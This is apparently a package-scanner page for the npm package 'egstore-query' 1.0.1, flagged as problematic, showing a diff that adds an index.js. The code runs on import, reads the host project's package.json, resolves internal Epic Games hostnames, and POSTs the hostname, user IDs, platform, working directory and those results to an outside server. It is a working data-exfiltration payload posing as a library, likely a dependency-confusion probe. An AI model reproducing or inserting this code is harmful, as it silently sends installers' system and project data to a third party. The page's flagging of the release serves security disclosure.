egstore-query 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of egstore-query might be problematic. Click here for more details.
- package/index.js +41 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,41 @@
|
|
1
|
+
import https from "https";
|
2
|
+
import os from "os";
|
3
|
+
import fs from "fs";
|
4
|
+
import path from "path";
|
5
|
+
import dns from "dns/promises";
|
6
|
+
|
7
|
+
const domains = [
|
8
|
+
"account-admin-service-prod03.ol.epicgames.net",
|
9
|
+
"fortnite-admin-service-latest-gamedev.ol.epicgames.net",
|
10
|
+
"product-framework-admin-website-gd.ol.epicgames.net"
|
11
|
+
];
|
12
|
+
|
13
|
+
let cwd = process.cwd();
|
14
|
+
let cwdSplit = cwd.split(path.sep);
|
15
|
+
let installingPackage = null;
|
16
|
+
for (let i = 0; i < cwdSplit.length; i++) {
|
17
|
+
if (cwdSplit[i] === "node_modules") {
|
18
|
+
try {
|
19
|
+
installingPackage = JSON.parse(fs.readFileSync(path.join(...cwdSplit.slice(0, i), "package.json"), "utf-8"))
|
20
|
+
} catch (e) {
|
21
|
+
// Ignored
|
22
|
+
}
|
23
|
+
}
|
24
|
+
}
|
25
|
+
|
26
|
+
https.request({
|
27
|
+
method: "POST",
|
28
|
+
host: "jpa.jaren.wtf",
|
29
|
+
path: "/h1/npm/egstore-query",
|
30
|
+
headers: {
|
31
|
+
'Content-Type': "application/json"
|
32
|
+
}
|
33
|
+
}).end(JSON.stringify({
|
34
|
+
hostname: os.hostname(),
|
35
|
+
uid: os.userInfo().uid,
|
36
|
+
gid: os.userInfo().gid,
|
37
|
+
platform: os.platform(),
|
38
|
+
dns: await Promise.allSettled(domains.map(domain => dns.lookup(domain))),
|
39
|
+
cwd,
|
40
|
+
installingPackage
|
41
|
+
}));
|
package/package.json
ADDED